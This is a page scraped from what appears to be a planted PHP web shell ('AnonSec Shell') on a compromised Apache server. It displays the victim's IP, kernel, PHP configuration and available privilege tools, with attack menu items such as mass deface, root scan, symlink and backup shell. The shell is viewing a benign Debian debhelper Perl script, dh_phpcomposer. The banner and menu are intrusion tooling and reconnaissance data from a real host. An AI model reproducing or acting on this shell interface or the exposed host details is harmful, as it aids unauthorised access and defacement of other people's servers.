AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 20.75.53.88 / Your IP : 216.73.217.165 [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON | cURL : OFF | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON
Directory : /var/www/disk_so_ralp/usr/bin/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /var/www/disk_so_ralp/usr/bin//dh_phpcomposer

#!/usr/bin/perl -w

=head1 NAME

dh_phpcomposer - calculates PHP Composer substvars

=head1 SYNOPSIS

B<dh_phpcomposer> [S<I<debhelper options>>]

=head1 DESCRIPTION

B<dh_phpcomposer> is a debhelper program that is responsible for generating
the B<${phpcomposer:*}> substitutions and adding them to substvars files.

The program will look for F<composer.json> file in your package root,
and will use this information to generate:

This feature requires pkg-php-tools (>= 1.7~).

=over 2

=item *

B<${phpcomposer:name}> and B<${phpcomposer:description}>

=item *

B<${phpcomposer:Debian-require}>, B<${phpcomposer:Debian-require-dev}>,
B<${phpcomposer:Debian-conflict}>, B<${phpcomposer:Debian-replace}>,
B<${phpcomposer:Debian-provide}> and B<${phpcomposer:Debian-suggest}>

=back

Those variables will be substituted into your package's F<control>
file wherever you place the token B<${phpcomposer:*}>.

=head1 FILES

=over 4

=item debian/pkg-php-tools-overrides

Package that don't want to follow automatic Composer package name to Debian package
name conversion can override the conversion by creating this file.

More information is available L<dh_phppear(1)>

=back

=cut

use strict;
use Config;
use Debian::Debhelper::Dh_Lib;
use Text::Wrap;


sub _shell_exec {
	my $command=shift;
	my $output = `$command`;
	if ($? == -1) {
		error("$command failed to execute: $!");
	}
	elsif ($? & 127) {
		error("$command died with signal ".($? & 127));
	}
	elsif ($? != 0) {
		error("$command returned exit code ".($? >> 8));
	}
	return $output;
}

init();

foreach my $package (@{$dh{DOPACKAGES}}) {
	if (-e "composer.json") {
		my $substvars = _shell_exec('/usr/share/pkg-php-tools/scripts/phppkginfo -d composer_substvars .');
		for (split /^/, $substvars) {
			if (/^([\w-]+):\s*(.*)$/) {
				if ($1 eq 'description') {
					local($Text::Wrap::separator) = '${Newline}';
					# Wrap and replace empty lines with a dot
					my $description = join('${Newline}.${Newline}', split('${Newline}${Newline}', wrap("", "", $2)));
					addsubstvar($package, "phpcomposer:description", $description);
				} else {
					addsubstvar($package, "phpcomposer:".$1, $2);
				}
			} else {
				warning("Malformed line: $_");
			}
		}
	}
}

=head1 CONFORMS TO

Debian policy, version 3.9.4

PHP PEAR policy, version yet-to-be-written

=head1 SEE ALSO

F</usr/share/doc/pkg-php-tools/README.Composer>, L<pkg-php-tools(7)>

L<debhelper(7)> (Note: This program is not part of debhelper)

=head1 AUTHOR

Mathieu Parent <sathieu@debian.org>

Anon7 - 2022
AnonSec Team